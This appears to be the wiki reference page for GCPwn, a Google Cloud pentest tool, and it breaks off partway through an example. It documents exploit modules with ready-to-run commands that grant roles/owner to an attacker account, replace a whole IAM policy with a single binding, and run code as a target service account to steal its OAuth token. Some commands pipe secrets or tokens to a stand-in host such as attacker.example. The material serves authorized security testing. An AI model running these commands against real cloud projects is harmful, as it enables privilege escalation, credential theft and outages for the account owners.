-
Notifications
You must be signed in to change notification settings - Fork 28
Exploit Module Reference
This page covers every exploit module in GCPwn: what it does, which permissions it requires, every flag it accepts, and copy/paste-ready example commands. For enumeration modules see CLI-Module-Reference. For the OpenGraph escalation view see OpenGraph-Default-Priv-Escalation-Mode.
Placeholder convention:
WORKSPACE_NAME,CRED_NAME,PROJECT_ID,TARGET_SA_EMAILare used in every example. Replace them with your actual values. Never commit real credentials or project IDs to documentation.
- Quick Reference
- IAM & Privilege Escalation
- Code Execution as Service Account
- Credential & Key Access
- Infrastructure Write Access
| Category | Module | Attack primitive | Key permissions needed |
|---|---|---|---|
| IAM & Privilege Escalation | exploit_gcp_setiampolicy |
Grant arbitrary role on any supported resource type |
<resource>.setIamPolicy on target |
| IAM & Privilege Escalation | exploit_cloudscheduler_job |
Make googleapis.com REST calls (IAM mutations, function invocations) as target SA |
cloudscheduler.jobs.create + iam.serviceAccounts.actAs on target SA |
| Code Execution as Service Account | exploit_cloudbuild_as_sa |
Run Cloud Build as target SA; exfil its OAuth token via logs or external callback URL |
cloudbuild.builds.create + iam.serviceAccounts.actAs on target SA |
| Code Execution as Service Account | exploit_cloudrun_as_sa |
Deploy Cloud Run service as target SA; exfil its OAuth token |
run.services.create + iam.serviceAccounts.actAs on target SA |
| Code Execution as Service Account | exploit_functions_as_sa |
Create/update/invoke Cloud Function as target SA; exfil its OAuth token |
cloudfunctions.functions.create or .update + iam.serviceAccounts.actAs
|
| Code Execution as Service Account | exploit_instance_startup_script |
Execute code as instance SA via startup script |
compute.instances.create or compute.instances.stop/.start/.setMetadata
|
| Credential & Key Access | exploit_generate_access_token |
Mint short-lived OAuth2 token for target SA |
iam.serviceAccounts.getAccessToken on target SA |
| Credential & Key Access | exploit_service_account_keys |
Create/enable/disable SA key for durable credential |
iam.serviceAccountKeys.create (or .enable/.disable) |
| Credential & Key Access | exploit_storage_hmac |
Create HMAC key for S3-style bucket access; enumerate/download bucket data |
storage.hmacKeys.create on target SA |
| Infrastructure Write Access | exploit_instance_ssh_keys |
Add SSH public key to project or instance metadata |
compute.projects.setCommonInstanceMetadata or compute.instances.setMetadata
|
| Infrastructure Write Access | exploit_bucket_upload |
Write arbitrary object to GCS bucket |
storage.objects.create on target bucket |
Unified setIamPolicy exploit that adds a chosen principal at a chosen role to the IAM policy of any supported resource type. This is the core privilege-escalation primitive for granting yourself or a controlled SA elevated access on a specific resource without going through the Cloud Console. Supports project, folder, and organization nodes as well as per-resource IAM on buckets, functions, instances, secrets, Cloud Run services/jobs, Artifact Registry repositories, KMS keys, Pub/Sub topics/subscriptions/schemas/snapshots, Service Directory namespaces/services, and Cloud Tasks queues.
-
<service>.setIamPolicyon the target resource (e.g.resourcemanager.projects.setIamPolicy,storage.buckets.setIamPolicy,secretmanager.secrets.setIamPolicy)
| Flag | Description | Details |
|---|---|---|
--service |
Resource type to target | e.g. project, folder, org, bucket, function, instance, secret, cloudrun, kms-key, topic, etc. Prompts if omitted |
--resource |
Full resource name | Varies by service. Often replaced by service-specific flags |
--member |
IAM principal to grant the role to | Format: user:EMAIL or serviceAccount:EMAIL
|
--role |
IAM role to grant | Format: roles/ROLE_NAME
|
--default-role |
Use the default escalation role for the selected service | Skips --role prompt |
--overwrite |
Potentially replace the entire IAM policy | Dangerous — use only on controlled resources |
--bucket |
Bucket name (no gs://) |
For --service bucket
|
--function-name |
Full function resource name | projects/PID/locations/LOC/functions/NAME |
--instance-name |
Full instance resource name | projects/PID/zones/ZONE/instances/NAME |
--secret-name |
Secret resource name | projects/PID/secrets/NAME |
--cloudrun-service-name |
Cloud Run service resource name | projects/PID/locations/LOC/services/ID |
--cloudrun-job-name |
Cloud Run job resource name | projects/PID/locations/LOC/jobs/ID |
--kms-keyring-name |
KMS keyring name | projects/PID/locations/LOC/keyRings/ID |
--kms-key-name |
KMS cryptoKey name | projects/PID/locations/LOC/keyRings/KR/cryptoKeys/ID |
--topic-name |
Pub/Sub topic name | projects/PID/topics/ID |
--repository-name |
Artifact Registry repository name | projects/PID/locations/LOC/repositories/ID |
--project-id |
Project ID (used when building resource names from short IDs) | |
--project-name |
Project resource name | projects/<project_number> |
--project-number |
Project numeric ID | |
--organization-name |
Organization resource name | organizations/<org_number> |
--organization-id |
Organization numeric ID | |
--folder-name |
Folder resource name | folders/<folder_number> |
--folder-id |
Folder numeric ID | |
-v, --debug
|
Verbose output |
Interactive (prompts for service, resource, member, role):
modules run exploit_gcp_setiampolicyGrant roles/owner on a project:
modules run exploit_gcp_setiampolicy \
--service project \
--project-id PROJECT_ID \
--member user:attacker@example.com \
--role roles/ownerGrant roles/storage.admin on a bucket:
modules run exploit_gcp_setiampolicy \
--service bucket \
--bucket victim-bucket \
--member serviceAccount:my-sa@PROJECT_ID.iam.gserviceaccount.com \
--role roles/storage.adminGrant roles/secretmanager.secretAccessor on a secret:
modules run exploit_gcp_setiampolicy \
--service secret \
--secret-name projects/PROJECT_ID/secrets/db-password \
--member user:attacker@example.com \
--role roles/secretmanager.secretAccessorNon-interactive (one-liner):
gcpwn --module exploit_gcp_setiampolicy --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--service bucket \
--bucket target-bucket \
--member serviceAccount:sa1@PROJECT_ID.iam.gserviceaccount.com \
--default-roleCreates a Cloud Scheduler job that authenticates as a target service account (via OAuthToken) and fires a googleapis.com REST call on its behalf. This uses the fact that cloudscheduler.jobs.create combined with iam.serviceAccounts.actAs on a privileged SA lets you make arbitrary Google API calls as that SA — without needing to mint a token directly.
Cloud Scheduler's OAuthToken mechanism only works with googleapis.com endpoints (the audience must be the target URL). This restriction means all attack vectors are side-effect mutations: write actions where you do not need to read the HTTP response body to confirm success.
Scheduling vs. immediate execution: Every Scheduler job requires a cron schedule at creation time. By default (no timing flag, or --now), the job fires immediately after creation via the Cloud Scheduler API. Pass any scheduling flag (--hourly, --daily, --in-10-min, --at, etc.) to create the job on a schedule instead — it will not fire immediately. Use --schedule for a raw cron expression. The --in-*-min shortcuts compute the cron from the current UTC time at invocation — e.g. --in-10-min at 14:05 UTC produces cron: 15 14 * * * (fires at 14:15 UTC, then at that time daily). All timing shortcuts and --now are mutually exclusive with each other and with --schedule.
-
cloudscheduler.jobs.createin the project where the Scheduler job is created -
iam.serviceAccounts.actAson the target service account - The target SA needs whatever permission the action requires (e.g.
resourcemanager.projects.setIamPolicyformake-admin)
Cloud Scheduler NEVER logs HTTP response bodies. It logs only the HTTP status code (visible via Cloud Logging
AttemptFinished.debugInfoorget_job()gRPC status). Actions that depend on reading response content — such assecretmanager.versions.accessoriam.serviceAccountKeys.create— are impossible via this vector. Only side-effect mutations work.
Calls setIamPolicy on a project/folder/org to grant a role (default: roles/owner) to a member (default: the calling SA). This is a pure side-effect — no response body is needed to confirm success; the IAM change takes effect server-side.
| What it needs | Value |
|---|---|
| Target SA permission |
resourcemanager.projects.setIamPolicy (or folder/org equivalent) |
| Default role granted | roles/owner |
| Default member | The session SA (calling credential) |
# Grant yourself roles/owner on the session project (defaults apply):
modules run exploit_cloudscheduler_job \
--target-sa TARGET_SA_EMAIL \
--action make-admin \
--read-response --cleanup
# Grant a specific user on a specific project:
modules run exploit_cloudscheduler_job \
--target-sa TARGET_SA_EMAIL \
--action make-admin \
--member user:attacker@example.com \
--role roles/owner \
--target-project-id PROJECT_ID \
--log --cleanupLike make-admin but requires explicit --member and --role. Use this for any role grant other than roles/owner, or when you want to be explicit about the target member.
modules run exploit_cloudscheduler_job \
--target-sa TARGET_SA_EMAIL \
--action set-iam-binding \
--member user:attacker@example.com \
--role roles/storage.admin \
--target-project-id PROJECT_ID \
--read-response --cleanupTriggers a Cloud Function URL as the target SA. The function runs its own logic with the SA's identity attached — useful when the function performs a privileged action (e.g. writes to a restricted bucket, calls an internal API) on behalf of the SA.
modules run exploit_cloudscheduler_job \
--target-sa TARGET_SA_EMAIL \
--action invoke-function \
--service-url https://REGION-PROJECT_ID.cloudfunctions.net/my-function \
--read-response --cleanupSame as invoke-function but for a Cloud Run service URL.
modules run exploit_cloudscheduler_job \
--target-sa TARGET_SA_EMAIL \
--action invoke-cloudrun \
--service-url https://my-service-xyz.a.run.app \
--read-response --cleanupArbitrary googleapis.com REST call. Specify the full URL (and optionally --method and --body). Passing --url automatically selects the custom action — you do not need --action custom explicitly.
# Enable a disabled SA key (side-effect; no response body needed):
modules run exploit_cloudscheduler_job \
--target-sa TARGET_SA_EMAIL \
--url "https://iam.googleapis.com/v1/projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL/keys/KEY_ID:enable" \
--method POST \
--read-response --cleanup| Flag | Description | Details |
|---|---|---|
--target-sa |
SA email Cloud Scheduler authenticates as | Required (prompts if omitted) |
--action |
Pre-packaged attack action |
make-admin, set-iam-binding, invoke-function, invoke-cloudrun, custom. Prompts if omitted and --url is not set |
--url |
googleapis.com REST endpoint | Implicitly sets --action custom; can use instead of --action custom
|
--method |
HTTP method for --url
|
GET, POST, PUT, PATCH, DELETE. Default: POST
|
--body |
JSON body for --url
|
Optional for custom calls |
--member |
IAM member to grant the role to | e.g. user:you@example.com, serviceAccount:sa@PROJECT.iam.gserviceaccount.com. make-admin defaults to calling SA |
--role |
IAM role to grant | Default: roles/owner. Common: roles/editor, roles/iam.securityAdmin, roles/storage.admin
|
--target-project-id |
Project ID whose IAM policy to mutate | Default: session project. Used by make-admin / set-iam-binding
|
--target-folder-number |
Folder number whose IAM policy to mutate | e.g. 1234567890. Alternative to --target-project-id
|
--target-org-number |
Organization number whose IAM policy to mutate | e.g. 9876543210. Alternative to --target-project-id
|
--etag |
Current policy etag (optional override) | If omitted, module auto-fetches via getIamPolicy. Get manually: gcloud projects get-iam-policy PROJECT_ID --format=json | jq .etag
|
--dangerous-overwrite |
Skip fetching current policy; replace entire policy with only the desired binding | See Dangerous Overwrite Mode below |
--service-url |
Cloud Function or Cloud Run URL for invoke-function / invoke-cloudrun
|
|
--region |
Cloud Scheduler region | Default: us-central1
|
--project |
Project to create the Scheduler job in | Default: session project |
--schedule |
Raw cron expression | Default: * * * * *. Mutually exclusive with timing shortcuts below |
--timezone |
Timezone for the cron schedule | Default: UTC. E.g. America/New_York
|
--every-minute |
Fire every minute | cron: * * * * * |
--every-5-min |
Fire every 5 minutes | cron: */5 * * * * |
--every-10-min |
Fire every 10 minutes | cron: */10 * * * * |
--every-15-min |
Fire every 15 minutes | cron: */15 * * * * |
--every-30-min |
Fire every 30 minutes | cron: */30 * * * * |
--hourly |
Fire every hour on the hour | cron: 0 * * * * |
--daily |
Fire once per day at midnight UTC | cron: 0 0 * * * |
--in-5-min |
Fire ~5 min from now (UTC), then daily at that clock time | Computes cron at invocation time |
--in-10-min |
Fire ~10 min from now (UTC), then daily at that clock time | Computes cron at invocation time |
--in-30-min |
Fire ~30 min from now (UTC), then daily at that clock time | Computes cron at invocation time |
--at YYYY-MM-DD HH:MM |
Fire at a specific UTC date/time, e.g. --at "2026-07-20 15:30"
|
cron: MM HH DD MON *; repeats annually unless deleted |
--now |
Immediately trigger the job after creation | Default when no scheduling flag is given; mutually exclusive with scheduling flags |
--log |
Poll Cloud Logging for AttemptFinished HTTP status after triggering |
Requires logging.read permission |
--read-response |
Call get_job() for gRPC status after triggering |
No Cloud Logging access needed; faster than --log
|
--cleanup |
Delete the job after triggering | Only applies when --now is set |
--job-name |
Custom job name | Auto-generated (pe-<action>-<ts>) if omitted |
--custom-url |
Alias for --url (custom action) |
|
--custom-method |
Alias for --method (custom action) |
|
--custom-body |
Alias for --body (custom action) |
In normal mode, the module auto-fetches the target resource's current IAM policy before building the setIamPolicy request. This requires resourcemanager.projects.getIamPolicy (or the folder/org equivalent) on the target resource.
If getIamPolicy fails (permission denied, API disabled), you have two options:
Option A — provide the etag manually:
# Get the etag using gcloud:
gcloud projects get-iam-policy PROJECT_ID --format=json | jq .etag
# Then pass it:
modules run exploit_cloudscheduler_job \
--target-sa TARGET_SA_EMAIL \
--action make-admin \
--etag "BwXXXXXXXX="
--cleanupOption B — use --dangerous-overwrite (see below).
DANGER: This flag replaces the ENTIRE IAM policy of the target resource.
Normally, setIamPolicy requires an etag to implement optimistic concurrency — if someone else changed the policy between your get and your set, GCP rejects the stale-etag request. The etag is not required by the API, however: omitting it means last-write-wins.
--dangerous-overwrite exploits this by sending a minimal policy body with only the desired binding and no etag:
{"policy": {"bindings": [{"role": "roles/owner", "members": ["user:attacker@example.com"]}]}}GCP accepts this and replaces the project's entire IAM policy with that single binding. Every other binding — including the original admins — is wiped.
When to use it:
- You have
setIamPolicybut notgetIamPolicy(so auto-fetch fails). - You control the target and can restore access afterward.
When NOT to use it:
- Production resources where wiping other admins would cause an outage or alert.
- When you need to preserve existing access patterns during stealthy operations.
# Fast escalation without needing getIamPolicy:
modules run exploit_cloudscheduler_job \
--target-sa TARGET_SA_EMAIL \
--action make-admin \
--member user:attacker@example.com \
--role roles/owner \
--target-project-id PROJECT_ID \
--dangerous-overwrite \
--read-response --cleanupYou have cloudscheduler.jobs.create and iam.serviceAccounts.actAs on a SA that holds resourcemanager.projects.setIamPolicy on the target project. Your session credential is the calling SA — make-admin will default the member to it.
modules run exploit_cloudscheduler_job \
--target-sa privileged-sa@PROJECT_ID.iam.gserviceaccount.com \
--action make-admin \
--role roles/owner \
--target-project-id PROJECT_ID \
\
--read-response \
--cleanupAfter the job completes with gRPC status 0, verify:
gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members" \
--format="table(bindings.role,bindings.members)" \
--filter="bindings.members:attacker"You have setIamPolicy on a folder but not getIamPolicy. Use --dangerous-overwrite to avoid the auto-fetch step:
modules run exploit_cloudscheduler_job \
--target-sa TARGET_SA_EMAIL \
--action make-admin \
--member user:attacker@example.com \
--role roles/owner \
--target-folder-number 1234567890 \
--dangerous-overwrite \
\
--read-response \
--cleanupRestore the original policy after you have confirmed access, or other principals will lose access.
The target SA lacks setIamPolicy but does have iam.serviceAccounts.actAs on a different SA that runs a Cloud Function performing privileged writes. Invoke the function as the target SA — the function executes with the function's SA identity, but the HTTP request is authenticated as the target SA (which is what the function checks).
modules run exploit_cloudscheduler_job \
--target-sa function-invoker@PROJECT_ID.iam.gserviceaccount.com \
--action invoke-function \
--service-url https://us-central1-PROJECT_ID.cloudfunctions.net/admin-action \
\
--read-response \
--cleanup# Escalate at org level:
modules run exploit_cloudscheduler_job \
--target-sa TARGET_SA_EMAIL \
--action make-admin \
--member user:attacker@example.com \
--role roles/resourcemanager.organizationAdmin \
--target-org-number 9876543210 \
\
--log \
--cleanup
# Escalate at folder level:
modules run exploit_cloudscheduler_job \
--target-sa TARGET_SA_EMAIL \
--action make-admin \
--member serviceAccount:my-sa@PROJECT_ID.iam.gserviceaccount.com \
--role roles/owner \
--target-folder-number 1234567890 \
\
--read-response \
--cleanupAfter triggering (default behaviour), you have two options to confirm whether the API call succeeded:
--read-response (faster, no Cloud Logging needed):
Calls get_job() on the Scheduler API. Returns the gRPC status of the last attempt (0 = success, non-zero = failure). Does not return the HTTP response body — Cloud Scheduler never logs it.
--log (requires logging.read):
Polls Cloud Logging for the AttemptFinished log entry, which contains the HTTP status code in debugInfo. Waits up to 90 seconds.
Manual log query if both fail:
gcloud logging read \
'resource.type="cloud_scheduler_job" resource.labels.job_id="YOUR_JOB_NAME"' \
--project PROJECT_ID \
--freshness=5mThe module prints the manual trigger and cleanup commands regardless of whether --now or --cleanup were passed:
# Trigger manually:
gcloud scheduler jobs run JOB_NAME --location us-central1 --project PROJECT_ID
# Delete job:
gcloud scheduler jobs delete JOB_NAME --location us-central1 --project PROJECT_ID# make-admin (grant roles/owner to yourself):
gcpwn --module exploit_cloudscheduler_job --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--target-sa TARGET_SA_EMAIL \
--action make-admin \
--read-response --cleanup
# make-admin with --dangerous-overwrite (no getIamPolicy needed):
gcpwn --module exploit_cloudscheduler_job --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--target-sa TARGET_SA_EMAIL \
--action make-admin \
--member user:attacker@example.com \
--dangerous-overwrite \
--read-response --cleanup
# set-iam-binding to grant storage.admin:
gcpwn --module exploit_cloudscheduler_job --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--target-sa TARGET_SA_EMAIL \
--action set-iam-binding \
--member serviceAccount:my-sa@PROJECT_ID.iam.gserviceaccount.com \
--role roles/storage.admin \
--read-response --cleanup
# invoke-function:
gcpwn --module exploit_cloudscheduler_job --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--target-sa TARGET_SA_EMAIL \
--action invoke-function \
--service-url https://us-central1-PROJECT_ID.cloudfunctions.net/my-function \
--read-response --cleanup
# custom call (arbitrary googleapis.com endpoint):
gcpwn --module exploit_cloudscheduler_job --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--target-sa TARGET_SA_EMAIL \
--url "https://cloudresourcemanager.googleapis.com/v1/projects/PROJECT_ID:setIamPolicy" \
--method POST \
--body '{"policy":{"bindings":[{"role":"roles/owner","members":["user:attacker@example.com"]}]}}' \
--read-response --cleanupAll modules in this category share the same attack primitive: the pentester has iam.serviceAccounts.actAs on a privileged SA and triggers code execution in a GCP-managed runtime pinned to that SA. The running code queries the GCE metadata server for the SA's OAuth2 token and exfils it.
Submits a Cloud Build job pinned to a target service account. The build step uses the ubuntu image and runs bash -c to curl the GCE metadata server for the SA's email and OAuth2 token. Two exfiltration modes are supported:
-
logs— the build step echoes the token to stdout; Cloud Build captures stdout into Cloud Logging. The module polls Cloud Logging for the marked output and recovers the token without any external server. -
url— the build step POSTs the token directly to an external callback URL.
A custom --command can replace the default token-capture step entirely for arbitrary code execution.
Note on cleanup: Cloud Build builds cannot be deleted via API. They remain in build history until they expire. The
--cleanupflag cancels a still-running build, but a completed build will still appear in history.
Build step image: The
BuildStep.namefield accepts any Docker image reference. GCPwn uses the bareubuntuname (the official Canonical image on Docker Hub), which is the same shorthand used in Google's own Cloud Build documentation and quickstarts. To pin a specific release, pass--commandwith your custom script and change the image toubuntu:22.04(or any compatible image). Alternatively, the Google-maintained builders atgcr.io/cloud-builders/(e.g.gcr.io/cloud-builders/docker) can be substituted if Docker Hub access is restricted in your environment.
-
cloudbuild.builds.createin the target project -
iam.serviceAccounts.actAson the target SA (if--service-accountis supplied)
| Flag | Description | Details |
|---|---|---|
--service-account |
SA email to pin the build to | Optional; uses the project's default Cloud Build SA if omitted |
--exfil-mode |
logs or url
|
Prompts if omitted |
--external-url |
external callback URL for url mode |
Required when --exfil-mode url
|
--command |
Custom bash command for the build step | Overrides the default email+token capture |
--region |
Build region | Default: us-central1
|
--timeout |
Build timeout | Default: 300s
|
--cleanup |
Attempt to cancel the build after it runs | Completed builds cannot be deleted via API |
--debug |
Verbose output |
Interactive:
modules run exploit_cloudbuild_as_saLogs mode — recover token from Cloud Logging:
modules run exploit_cloudbuild_as_sa \
--service-account TARGET_SA_EMAIL \
--exfil-mode logsURL mode (external callback):
modules run exploit_cloudbuild_as_sa \
--service-account TARGET_SA_EMAIL \
--exfil-mode url \
--external-url https://attacker.example/collectCustom command (arbitrary code execution as the SA):
modules run exploit_cloudbuild_as_sa \
--service-account TARGET_SA_EMAIL \
--exfil-mode url \
--command 'gsutil cp gs://secret-bucket/key.json - | curl -s -X POST https://attacker.example/key --data-binary @-'Non-interactive (one-liner):
gcpwn --module exploit_cloudbuild_as_sa --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--service-account TARGET_SA_EMAIL \
--exfil-mode logsYou have cloudbuild.builds.create and iam.serviceAccounts.actAs on ci-builder@PROJECT_ID.iam.gserviceaccount.com, which has secretmanager.secretAccessor. Submit a build in logs mode; the module polls Cloud Logging and returns the SA's OAuth2 token. Use the token to read secrets directly.
Deploys a minimal Cloud Run service (using the python:3.11-slim public image with an inline Python handler — no Dockerfile or Artifact Registry needed) pinned to an attacker-chosen service account. The deployed container queries the GCE metadata server for the SA's OAuth2 access token and email, then exfiltrates them via one of two modes:
-
logs— prints the token to stdout; Cloud Run captures stdout into Cloud Logging, and the module polls the logs to retrieve it (no external server needed; stays inside the project). -
url— POSTs the token to an attacker-controlled external callback URL.
After the token is recovered it can be immediately added as a new credential in the workspace.
-
run.services.createin the target project -
iam.serviceAccounts.actAson the target service account
| Flag | Description | Details |
|---|---|---|
--target-sa |
Target service account email the Cloud Run service runs as | Prompts if omitted |
--region |
Cloud Run region | Default: us-central1
|
--exfil-mode |
Token recovery mode: logs or url
|
Prompts if omitted |
--external-url |
external callback URL for url mode |
Required when --exfil-mode url
|
--service-name |
Service name to create | Auto-generated (pe-cloudrun-<ts>) if omitted |
--invoke |
Invoke the service immediately after deployment | Triggers token recovery |
--public |
Make the service publicly invokable (allUsers run.invoker) |
Default: private (requires caller's session credential to invoke) |
--path |
Restrict token trigger to this URL path | Requests to any other path return 404; see below |
--cleanup |
Delete the service after invocation |
By default the service responds to all URL paths. The --path flag injects a SECRET_PATH environment variable into the container so the inline handler returns 404 for every request that does not exactly match the configured path.
This is useful when combined with --public: the service is unauthenticated but functionally private — only someone who knows the path can trigger it.
modules run exploit_cloudrun_as_sa \
--target-sa TARGET_SA_EMAIL \
--exfil-mode logs \
--public \
--path /gcpwn-xk9z3mq7abc \
--invoke \
--cleanupWith the above, GET / and GET /any-other-path return 404; only GET /gcpwn-xk9z3mq7abc triggers the metadata fetch and token emission. The module automatically appends the path when --invoke is used.
Interactive:
modules run exploit_cloudrun_as_saLogs mode (no external server needed):
modules run exploit_cloudrun_as_sa \
--target-sa TARGET_SA_EMAIL \
--exfil-mode logs \
--invoke \
--cleanupURL mode (external callback):
modules run exploit_cloudrun_as_sa \
--target-sa TARGET_SA_EMAIL \
--exfil-mode url \
--external-url https://callback.example.com/token \
--invoke \
--cleanupPublic service with secret path (no auth header required to invoke):
modules run exploit_cloudrun_as_sa \
--target-sa TARGET_SA_EMAIL \
--exfil-mode logs \
--public \
--path /secret-a9f3kx2 \
--invoke \
--cleanupNon-interactive (one-liner):
gcpwn --module exploit_cloudrun_as_sa --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--target-sa TARGET_SA_EMAIL \
--exfil-mode logs \
--invoke \
--cleanupYou enumerated an SA called data-processor@PROJECT_ID.iam.gserviceaccount.com that has bigquery.admin. Your session credential has run.services.create and iam.serviceAccounts.actAs on it. Run:
modules run exploit_cloudrun_as_sa \
--target-sa data-processor@PROJECT_ID.iam.gserviceaccount.com \
--exfil-mode logs \
--invokeThe module deploys a Cloud Run service as that SA, invokes it, polls Cloud Logging, and prints the OAuth2 token. Add it to the workspace:
creds add bq-admin-token --type OAuth2 --token ya29.c.XXX...If --cleanup was not passed, delete the service manually:
gcloud run services delete <service-name> --region us-central1 --project PROJECT_IDCreates, updates, and/or invokes a Cloud Function running as an attacker-chosen service account in order to exfiltrate that SA's GCE metadata token. The bundled payload (codev1v2.zip, entry point data_exfil) queries the metadata server for the attached SA's email and OAuth2 token and returns them in the function response. Supports both V1 and V2 functions. With --assume-creds, the returned token is automatically parsed and registered as a new credential in the workspace.
If no --bucket-src is provided, the module interactively offers to upload the default codev1v2.zip payload to an enumerated bucket first (calling exploit_bucket_upload internally).
-
cloudfunctions.functions.create(for--create) orcloudfunctions.functions.update(for--update) -
iam.serviceAccounts.actAson the target SA (if--service-accountis specified) -
cloudfunctions.functions.call(for--invoke)
| Flag | Description | Details |
|---|---|---|
--function-name |
Full function resource name | Format: projects/PROJECT_ID/locations/REGION/functions/FUNCTION_NAME
|
--bucket-src |
GCS source for function code | Format: gs://BUCKET_NAME/file.zip. Prompts for upload if omitted |
--entry-point |
Entry point in the ZIP | Default: data_exfil (matches bundled codev1v2.zip) |
--service-account |
SA email to attach to the function | Prompts if omitted; can use the default compute/editor SA |
--v1 |
Target is a V1 function | Mutually exclusive with --v2
|
--v2 |
Target is a V2 function | Mutually exclusive with --v1. Default when unspecified |
--create |
Create a new function | Mutually exclusive with --update
|
--update |
Update an existing function | Mutually exclusive with --create
|
--invoke |
Invoke the function after create/update | Can also be used standalone (without --create/--update) |
--assume-creds |
Parse the returned token and add it as a workspace credential | Requires --invoke
|
-v, --debug
|
Verbose output |
Interactive (prompts for everything):
modules run exploit_functions_as_saCreate V2 function as target SA, invoke it, and assume the returned credential:
modules run exploit_functions_as_sa \
--create --v2 \
--function-name projects/PROJECT_ID/locations/us-central1/functions/pwn-fn \
--bucket-src gs://staging-bucket/codev1v2.zip \
--service-account TARGET_SA_EMAIL \
--invoke \
--assume-credsUpdate an existing function to swap its SA, then invoke:
modules run exploit_functions_as_sa \
--update --v2 \
--function-name projects/PROJECT_ID/locations/us-central1/functions/existing-fn \
--bucket-src gs://staging-bucket/codev1v2.zip \
--service-account TARGET_SA_EMAIL \
--invoke \
--assume-credsInvoke only (function already deployed with malicious code):
modules run exploit_functions_as_sa \
--invoke \
--function-name projects/PROJECT_ID/locations/us-central1/functions/pwn-fn \
--v2 \
--assume-credsNon-interactive (one-liner):
gcpwn --module exploit_functions_as_sa --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--create --v2 \
--function-name projects/PROJECT_ID/locations/us-central1/functions/pwn-fn \
--service-account TARGET_SA_EMAIL \
--bucket-src gs://staging-bucket/codev1v2.zip \
--invoke \
--assume-credsYou hold cloudfunctions.functions.create and iam.serviceAccounts.actAs on payments-sa@PROJECT_ID.iam.gserviceaccount.com (which has cloudkms.cryptoKeyDecrypter). Upload the payload zip to a writable bucket and create the function:
# 1. Upload payload to a writable bucket first:
modules run exploit_bucket_upload \
--bucket staging-bucket \
--remote-blob-path codev1v2.zip \
--local-blob-path /path/to/gcpwn/data/codev1v2.zip
# 2. Create function as target SA and exfil the token:
modules run exploit_functions_as_sa \
--create --v2 \
--function-name projects/PROJECT_ID/locations/us-central1/functions/gcpwn-exfil \
--bucket-src gs://staging-bucket/codev1v2.zip \
--service-account payments-sa@PROJECT_ID.iam.gserviceaccount.com \
--invoke \
--assume-credsAchieves code execution as a Compute Engine instance's attached service account by setting a startup script that exfiltrates the VM's metadata (email, OAuth2 token) to a caller-controlled external URL. Two execution paths:
-
--create-new-instance— creates a brand-new instance with the startup script and an attacker-chosen SA attached. -
--update-via-shutdown— stops an existing instance, updates its metadata with the startup script (and optionally a new SA), then starts it again. This effectively wipes the VM's current metadata.
-
Create path:
compute.instances.create, plusiam.serviceAccounts.actAson the SA to attach -
Update path:
compute.instances.stop,compute.instances.start,compute.instances.setMetadata
| Flag | Description | Details |
|---|---|---|
--create-new-instance |
Create a new VM with the startup script | Mutually exclusive with --update-via-shutdown
|
--update-via-shutdown |
Update an existing VM via stop/start |
Wipes existing metadata. Mutually exclusive with --create-new-instance
|
--instance-name |
Instance name or full resource name |
projects/PID/zones/ZONE/instances/NAME for update; short name for create |
--startup-script-path |
Local path of the startup script | Script runs as root on first boot |
--external-url |
Attacker-controlled URL for token exfiltration | e.g. https://attacker.example/collect
|
--service-account |
SA email to attach to the instance | Mutually exclusive with --no-service-account
|
--no-service-account |
Explicitly attach no service account | Mutually exclusive with --service-account
|
-v, --debug
|
Verbose output |
Interactive:
modules run exploit_instance_startup_scriptUpdate an existing instance via shutdown (exfil to attacker server):
modules run exploit_instance_startup_script \
--update-via-shutdown \
--instance-name projects/PROJECT_ID/zones/us-central1-a/instances/batch-runner \
--external-url https://attacker.example/collectCreate a new instance with the script attached to a target SA:
modules run exploit_instance_startup_script \
--create-new-instance \
--instance-name gcpwn-pwn-vm \
--startup-script-path ./exfil.sh \
--service-account TARGET_SA_EMAIL \
--external-url https://attacker.example/collectNon-interactive (one-liner):
gcpwn --module exploit_instance_startup_script --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--update-via-shutdown \
--instance-name projects/PROJECT_ID/zones/us-central1-a/instances/batch-runner \
--external-url https://attacker.example/collectYou have compute.instances.stop/start/setMetadata on batch-runner. The instance runs as pipeline-sa@PROJECT_ID.iam.gserviceaccount.com which has bigquery.admin. Update the instance to exfil the SA token on next boot:
modules run exploit_instance_startup_script \
--update-via-shutdown \
--instance-name projects/PROJECT_ID/zones/us-central1-a/instances/batch-runner \
--external-url https://attacker.example/collectMonitor your callback server for the POST containing the OAuth2 token.
These modules create or retrieve long-lived credentials — SA keys, HMAC keys, or short-lived OAuth2 tokens — that persist beyond the current session.
Mints a short-lived OAuth2 access token (via iamcredentials.generateAccessToken) for a target service account, using one of four modes:
-
Direct token (
--target-sa) — callsgenerateAccessTokendirectly against the target SA. Requiresiam.serviceAccounts.getAccessTokenon the target. -
Delegation chain (
--delegation) — walks an impersonation/delegation chain starting at a given SA, letting you enumerate multi-hop paths to a final target. -
Delegation to target (
--delegation-target) — finds all delegation routes in cached IAM bindings that end at a specified final SA. -
All delegation (
--all-delegation) — discovers and prints every available delegation route across the cached IAM graph.
When called interactively (no flags), a menu is presented for mode selection. The resulting token can be registered as a new workspace credential.
-
iam.serviceAccounts.getAccessTokenon the target SA (direct mode), OR -
iam.serviceAccounts.implicitDelegationalong the delegation chain (delegation modes)
| Flag | Description | Details |
|---|---|---|
--target-sa |
Direct token: target SA resource name | Format: projects/PROJECT_ID/serviceAccounts/EMAIL. Mutually exclusive with delegation flags |
--delegation |
Delegation mode: start SA for chain walk | Walks the delegation graph from this SA. Mutually exclusive with other modes |
--delegation-target |
Delegation-to-target mode: find routes ending at this SA | Searches cached IAM bindings. Mutually exclusive with other modes |
--all-delegation |
Show all delegation routes across the full IAM graph | Mutually exclusive with other modes |
-v, --debug
|
Verbose output |
Interactive (prompts for mode):
modules run exploit_generate_access_tokenDirect token for a specific SA:
modules run exploit_generate_access_token \
--target-sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAILWalk a delegation chain starting from a known SA:
modules run exploit_generate_access_token \
